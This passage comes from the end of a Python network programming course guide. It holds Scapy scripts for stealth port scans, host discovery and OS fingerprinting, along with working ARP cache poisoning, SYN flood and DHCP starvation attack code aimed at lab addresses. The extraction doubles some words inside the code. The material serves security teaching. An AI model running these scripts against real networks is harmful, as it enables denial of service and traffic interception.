response. Many operating systems, however, do not implement RFC 793 exactly and for this reason FIN scans do not work as expected against these devices. Some Page 167 of 185
168
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
operating systems, like Microsoft Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing an attacker from distinguishing between open and closed ports. Source: https://capec.mitre.org/data/definitions/302.html '''
4.9. 4.9. TCP Xmas Scan Sc an
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP #target = '172.16.1.2' '172.16.1.2' target = '172.16.1.3' #Performing the scan ans, unans = sr(IP(dst = target) / TCP(dport = [111, 135, 22], flags = "FPU"), timeout = 5) #The results based on closed ports for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "20": print str(sent[TCP].dport) + " is closed!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is open/filtered!" Page 168 of 185
169
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
''' An attacker uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the all flags sent in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. Many operating systems, however, do not implement RFC 793 exactly and for this reason FIN scans do not work as expected against these devices. Some operating systems, like Microsoft Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing an attacker from distinguishing between open and closed ports. Source: https://capec.mitre.org/data/definitions/303.html '''
4.10. 4.10. TCP TCP Nul Nul l Scan Sc an
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP #target = '172.16.1.2' '172.16.1.2' target = '172.16.1.3' #Performing the scan
Page 169 of 185
170
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111, 135, 22], flags = 0, seq = 0), timeout = 5) #The results based on closed ports for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "20": print str(sent[TCP].dport) + " is closed!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is open/filtered!" ''' An attacker uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets. Many operating systems, however, do not implement RFC 793 exactly and for this reason NULL scans do not work as expected against these devices. Some operating systems, like Microsoft Windows, Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing an attacker from distinguishing between open and closed ports. Source: https://capec.mitre.org/data/definitions/304.html '''
4.11. 4.11. TCP TCP Por Por t Scan Sc an
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR)
Page 170 of 185
171
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination name/IP #target = '172.16.1.2' '172.16.1.2' target = '172.16.1.3' #Performing the scan ans, unans = sr(IP(dst = target) / TCP(flags = "S", dport = (1, 1024)), timeout = 5, verbose = 0) #The results, based on open/closed ports #Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error (secdev.org) for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "18": print print str(sent[TCP].dport) + " is OPEN!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is filtered!" print "\nAll other ports are closed.\n"
4.12. 4.12. ARP Pi Pi ng
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception Page 171 of 185
172
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Performing the ping - discovering hosts on a local Ethernet network #ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff") / ARP(pdst = "172.16.1.0/24"), timeout = 5, iface = "enp0s3") #ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) #Using the builtin function arping("172.16.1.*")
4.13. ICMP Ping
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Performing the ping ans, unans = sr(IP(dst = "172.16.1.2-10") / ICMP(), timeout = 3, iface = "enp0s3") #The results ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))
Page 172 of 185
173
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.14. TCP Ping
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Performing the ping #In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping. #Any response to our probes will indicate a live host. Source: secdev.org ans, unans = sr(IP(dst = "172.16.1.1-5") "172.16.1.1-5") / TCP(dport = 111, flags = "S"), timeout = 2, iface = "enp0s3") #The results ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))
4.15. UDP Ping
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR)
Page 173 of 185
174
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Performing the ping #UDP Ping will produce ICMP Port unreachable errors from live hosts. #Here you can pick any port which is most likely to be closed, such as port 0. ans, unans = sr(IP(dst = "172.16.1.1-5") / UDP(dport = 0), timeout = 5, iface = "enp0s3") #The results ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))
4.16 4.16.. Basi Basic c ARP Mon Monit itor or
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() def arp_monitor(packet): if ARP in packet and packet[ARP].op == 1: #ARP Request (who-has ...?) return "ARP Request: Device " + packet[ARP].psrc + " asking about: " + packet[ARP].pdst elif ARP in packet and packet[ARP].op packet[ARP].op == 2: #ARP Reply (is-at ...)
Page 174 of 185
175
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
return "ARP Response: Device " + packet[ARP].hwsrc + " has this address: " + packet[ARP].psrc #Performing the monitoring sniff(prn = arp_monitor, filter = "arp", count = 20, store = 0)
4.17 4.17.. ARP Cache Poi Poiso soni ning ng
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination (broadcast) MAC address target = 'ff:ff:ff:ff:ff:ff' #ARP cache poisoning send(ARP(hwsrc = get_if_hwaddr("enp0s3"), psrc = '172.16.1.233', hwdst = target, pdst = '172.16.1.3'), '172.16.1.3'), iface = "enp0s3")
Page 175 of 185
176
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.18 4.18.. SYN SYN Floodi Floo ding ng
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the target machine target = '172.16.1.2' #Defining the packet structure packet = IP(dst = target) / TCP(sport = RandShort(), dport = 111, seq = 333, flags = "S") #Sending the packet in a loop srloop(packet, inter = 0.1, retry = 2, timeout = 5, count = 10000)
4.19. DHCP Starvation – Wind Wind ows ow s Server Server
#!/usr/bin/env #!/usr/bin/env python #Importing the necessary modules import logging import random import subprocess #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) Page 176 of 185
177
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Setting network interface in promiscuous mode subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr = None, shell = False) #Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. #But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.111). #Because these IP addresses don't match, we have to disable Scapy's check with conf.checkIPaddr conf.checkIPaddr = False before sending the stimulus. conf.checkIPaddr conf.checkIPaddr = False #Defining the number of DHCP packets to be sent pkt_no = 255 #Performing the DHCP starvation attack #Generating entire DHCP sequence def generate_dhcp_seq(): #Defining some DHCP parameters x_id = random.randrange(1, 1000000) hw = "00:00:5e" + str(RandMAC())[8:] hw_str = mac2str(hw) #print hw #Assigning the .command() output of a captured DHCP DISCOVER packet to a variable dhcp_dis_pkt = Ether(dst = "ff:ff:ff:ff:ff:ff", src = hw) / IP(src = "0.0.0.0", dst = "255.255.255.255") "255.255.255.255") / UDP(sport = 68, dport = 67) / BOOTP(op = 1, xid = x_id, chaddr = hw_str) / DHCP(options = [("messagetype", "discover"), ("end")]) #Sending the DISCOVER packet and catching the OFFER reply #The first element of ans is the DISCOVER packet, the second is the OFFER packet ans, unans = srp(dhcp_dis_pkt, iface = "enp0s3", timeout = 2.5, verbose = 0) #The IP offered by the DHCP server to the client is extracted from the received answer (OFFER) offered_ip = ans[0][1][BOOTP].yiaddr
Page 177 of 185
178
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Assigning the .command() output of a captured DHCP REQUEST packet to a variable dhcp_req_pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src = hw) / IP(src = "0.0.0.0", dst = "255.255.255.255") "255.255.255.255") / UDP(sport = 68, dport = 67) / BOOTP(op = 1, xid = x_id, chaddr = hw_str) / DHCP(options = [("messagetype", "request"), ("requested_addr", offered_ip), ("end")]) #Sending the REQUEST for the offered IP address. #The server will respond with a DHCP ACK and the IP address will be leased. srp(dhcp_req_pkt, iface = "enp0s3", timeout = 2.5, verbose = 0) #Calling the function try: for iterate in range(0, int(pkt_no)): generate_dhcp_seq() except IndexError: print "\nDone. No more addresses to steal! :)\n"
4.20. DHCP Starvation – Cisco Cisc o IOS
Cisco IOS DHCP Server configuration: R1# configure terminal R1(config)# service dhcp R1(config)# ip dhcp pool Python Python R1(dhcp-config)# network 172.16.1.0 255.255.255.0 R1(dhcp-config)# default-router 172.16.1.254 R1(dhcp-config)# dns-server 4.2.2.2 R1(dhcp-config)# domain-name example.com R1(dhcp-config)# lease 1 R1(dhcp-config)# ip dhcp excluded-address 172.16.1.11 172.16.1.254
More information on configuring Cisco IOS DHCP Server on a router: http://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipaddr_dhcp/configuration/12-4t/dhcp12-4t-book/config-dhcp-server.html
Page 178 of 185
179
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#!/usr/bin/env #!/usr/bin/env python #Importing the necessary modules import logging import random import subprocess #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Setting network interface in promiscuous mode subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr = None, shell = False) #Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. #But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.111). #Because these IP addresses don't match, we have to disable Scapy's check with conf.checkIPaddr conf.checkIPaddr = False before sending the stimulus. conf.checkIPaddr conf.checkIPaddr = False #Performing the DHCP starvation attack def generate_dhcp_discover(): #Defining some DHCP parameters x_id = random.randrange(1, 1000000) #print x_id #Assigning the .command() output of a captured DHCP DISCOVER packet to a variable dhcp_dis_pkt = Ether(dst = "ff:ff:ff:ff:ff:ff", src = RandMAC()) / IP(src = "0.0.0.0", dst = "255.255.255.255") / UDP(sport = 68, dport = 67) / BOOTP(op = 1, xid = x_id, chaddr = RandMAC()) / DHCP(options = [("message-type", "discover"), ("end")]) #Sending the DISCOVER packet forever sendp(dhcp_dis_pkt, iface = "enp0s3", loop = 1, verbose = 0) #Calling the function generate_dhcp_discover()
Page 179 of 185
180
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.21. Rogue DHCP Server Detector
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Setting the checkIPaddr parameter to False conf.checkIPaddr conf.checkIPaddr = False #Getting the hardware address hw = get_if_raw_hwaddr("enp0s3")[1] #Creating the DHCP Discover packet dhcp_discover = Ether(dst = "ff:ff:ff:ff:ff:ff") / IP(src = "0.0.0.0", dst = "255.255.255.255") / UDP(sport = 68, dport = 67) / BOOTP(chaddr = hw) / DHCP(options = [("message-type", "discover"), "end"]) #Sending the Discover packet and accepting multiple answers for the same Discover packet ans, unans = srp(dhcp_discover, multi = True, iface = "enp0s3", timeout = 5, verbose = 0) #Defining a dictionary to store mac-ip pairs mac_ip = {} for reply in ans: mac_ip[reply[1][Ether].src] = reply[1][IP].src #Printing the results print "\nActive DHCP servers currently residing on your LAN:\n" for mac, ip in mac_ip.iteritems(): print "IP Address: %s, MAC Address: %s\n" % (ip, mac)
Page 180 of 185
181
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
4.22 4.22.. Basic NMAP NMAP Appli App lication cation
Logic al Flow Diagram Diagram
Page 181 of 185
182
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#!/usr/bin/env #!/usr/bin/env python #Importing the logging module import logging #This will suppress all messages that have a lower level of seriousness than error messages. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) #Importing Scapy and handling the ImportError exception try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit() #Defining the destination names/IPs and ports and the exiting interface targets = ['172.16.1.2', '172.16.1.3', '172.16.1.150', '172.16.1.100'] ports = [50743, 111, 135, 22] interface = "enp0s3" #Defining the TCP scan function def tcp_scan(target, port): #Creating a list for the open ports open_ports = [] #Performing the scan - multiple ports ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = port, flags = "S"), timeout = 2, iface = interface, verbose = 0) #The results, based on open/closed ports for sent, received in ans: if received.haslayer(TCP) and str(received[TCP].flags) == "18": print str(sent[TCP].dport) + " is OPEN!" open_ports.append(int(sent[TCP].dport)) elif received.haslayer(TCP) and str(received[TCP].flags) == "20": print str(sent[TCP].dport) + " is closed!" elif received.haslayer(ICMP) and str(received[ICMP].type) == "3": print str(sent[TCP].dport) + " is filtered!" #Handling unanswered packets for sent in unans: print str(sent[TCP].dport) + " is filtered!" return open_ports
Page 182 of 185
183
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Checking hosts via ICMP def icmp_scan(): for target in targets: ping_reply = srp1(Ether() / IP(dst = target) / ICMP(), timeout = 2, iface = interface, verbose = 0) if str(type(ping_reply)) == "
" or ping_reply.getlayer(IC ping_reply.getlayer(ICMP).type MP).type == "3": print print "\n---> Host with IP address %s is down or unreachable." % target print else: print "\n\n---> Host with IP address %s and MAC address %s is up." % (target, ping_reply[Ether].src) ping_reply[Ether].src) print "\nTCP Ports:\n" #Calling the TCP scanning function open_ports = tcp_scan(target, tcp_scan(target, ports) if len(open_ports) > 0: pkt = sr1(IP(dst = target) / TCP(dport = open_ports[0], flags = "S"), timeout = 2, iface = interface, verbose = 0) ttl = str(pkt[IP].ttl) window = str(pkt[TCP].window) #print ttl, window #Identifying the host OS based on the TTL and Window Size values in 'pkt' if ttl == "128" and window == "65535": print "\nGuessing OS type... Windows XP.\n" elif ttl == "128" and window == "16384": print "\nGuessing OS type... Windows 2000/Server 2003.\n" elif ttl == "128" and window == "8192": print "\nGuessing OS type... Windows 7/Vista/Server 7/Vista/Server 2008.\n" elif ttl == "64" and window == "5840": print "\nGuessing OS type... Linux Kernel 2.x.\n" elif ttl == "64" and window == "14600": print "\nGuessing OS type... Linux Kernel 3.x.\n" elif ttl == "64" and window == "65535": print "\nGuessing OS type... FreeBSD.\n" elif ttl == "64" and window == "5720": print "Guessing OS type... Chrome OS/Android.\n" elif ttl == "255" and window == "4128": print "Guessing OS type... Cisco IOS 12.4.\n" elif ttl == "64" and window == "65535": print "Guessing OS type... MAC OS.\n" else: Page 183 of 185
184
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "Cannot detect host OS --> no open ports found." #Running the function icmp_scan()
Page 184 of 185
185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
I really hope you found this course application guide useful for your networking needs and, again, thank you for purchasing my Python Network Programm ing course series!
To stay updated with the latest news and courses in the networking and network progr amming wor ld, you have several several options :
Follow me on Twitter: https://twitter.com/MihaiCTeodosiu
and/or:
Join my Python Network Programming LinkedIn Group: https://www.linkedin.com/groups/8313392
and/or:
Subscribe to m y YouTube channel: https://www.youtube.com/c/MihaiCatalinTeodosiu
and/or:
Subscribe to my student email list: http://trendelearning.com/wp/homepage/subscribe/ Have no fear, I’m not going to spam you with junk e -mails. If I have great content to share or a huge special offer for my courses, I will send it your way. Otherwise, you won’t hear from me just for the sake of it.
Best regards! Page 185 of 185